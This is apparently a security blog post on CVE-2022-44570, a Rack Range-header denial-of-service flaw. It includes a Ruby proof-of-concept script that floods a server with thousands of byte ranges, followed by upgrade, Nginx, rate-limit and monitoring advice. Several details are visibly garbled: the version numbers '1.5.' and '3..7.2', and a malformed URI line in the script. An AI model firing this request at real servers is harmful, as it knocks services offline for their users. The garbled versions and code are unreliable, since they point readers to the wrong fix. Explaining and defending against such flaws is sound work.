A new security issue tracked as CVE-2022-44570 brings significant attention to applications built with Ruby’s popular webserver interface, Rack. This vulnerability affects Rack versions 1.5. and above, leaving many web applications at risk of a Denial of Service (DoS) attack with a simple but carefully crafted HTTP request.
In this article, we’ll break down what the CVE-2022-44570 vulnerability is, why it matters, demonstrate how it can be exploited, and help you secure your applications.
What is CVE-2022-44570?
CVE-2022-44570 is a Denial of Service (DoS) vulnerability found in how Rack parses the HTTP Range header. When an attacker sends a specially crafted Range header, the component responsible for parsing that header may take a large (potentially unlimited) amount of time and memory, causing the server to hang or become unresponsive. This affects any web apps that handle files, media, or any endpoints supporting the Range header.
The Problem in Simple Terms
The Range header is commonly used by browsers and download clients to fetch specific parts of a file (e.g., for streaming or resuming downloads). Rack parses these headers to serve only what's needed. But if the header is designed in a certain problematic way, Rack spends a long time trying to process it—stalling your web app and blocking real users.
Rack versions 1.5. and later
- Any Rack-based application (Rails, Sinatra, Hanami, etc.) that responds to Range requests
Apps serving files, videos, music, PDFs, or providing file download endpoints
If your app exposes any endpoints that serve files or otherwise handle Range requests, you should treat this as a priority issue.
How Does the Exploit Work?
Let’s take a look at how an attacker could use a specially-crafted HTTP request to freeze your server.
A normal header might look like this
Range: bytes=-499
But an attacker could send something like
Range: bytes=-999999999,1-2,3-4,5-6,... (hundreds or thousands of ranges)
Even though most users would never send such a header, the server will still try to parse it. Depending on the number of ranges or their complexity, this can cause the server to process the header for a VERY long time.
Minimal Reproducible Example (in Ruby)
require 'net/http'
# This Range header has 10000 ranges.
range = (1..10_000).map { |i| "#{i}-#{i+1}" }.join(",")
uri = URI("http://localhost:300/myfile";)
req = Net::HTTP::Get.new(uri)
req.add_field("Range", "bytes=#{range}")
res = Net::HTTP.start(uri.hostname, uri.port) do |http|
http.request(req)
end
puts "Response: #{res.code}"
Run this against a vulnerable server, and you’ll see it hangs or consumes lots of CPU—taking up resources and potentially blocking out other requests.
Real World Impact
With this kind of attack, one or a few requests can exhaust system resources. This leaves users waiting, slows down your service, or brings your app offline. For streaming and download-heavy apps, this is especially dangerous.
References and Original Advisories
- NIST NVD Record for CVE-2022-44570
- Rack Security Advisory
- Rack GitHub commit with the Fix
1. Upgrade Rack
The best defense is to upgrade to the latest patched Rack version (at least 2.2.6.4 or 3..7.2), where this vulnerability is fixed.
In your Gemfile
gem 'rack', '>= 2.2.6.4'
And then run
bundle update rack
2. Web Server Protections
If you use a front-end server like Nginx or Apache, you can add rules to limit the length and complexity of the Range header.
Nginx Example
# Limit headers size
large_client_header_buffers 4 8k;
# Block excessive Range headers
if ($http_range ~* ",") {
return 416;
}
3. Rate Limit Requests
Tools like Rack::Attack or similar can prevent a single IP from making multiple requests in a short period.
4. Monitor for Abuse
Keep logs of incoming requests and monitor for suspicious or very large Range headers.
Any app using Rack to serve files or streams is at risk.
- Upgrade your Rack gem. Add Nginx/Apache protections and rate limiting as extra layers.
Check your code and dependencies regularly for security fixes.
Don’t wait for an attacker to find your vulnerable endpoints. Patch up and protect your apps today!
Stay safe and keep your apps secure. For more details, always refer to the official Rack security advisory and NIST CVE page.
Timeline
Published on: 02/09/2023 20:15:00 UTC
Last modified on: 02/17/2023 16:33:00 UTC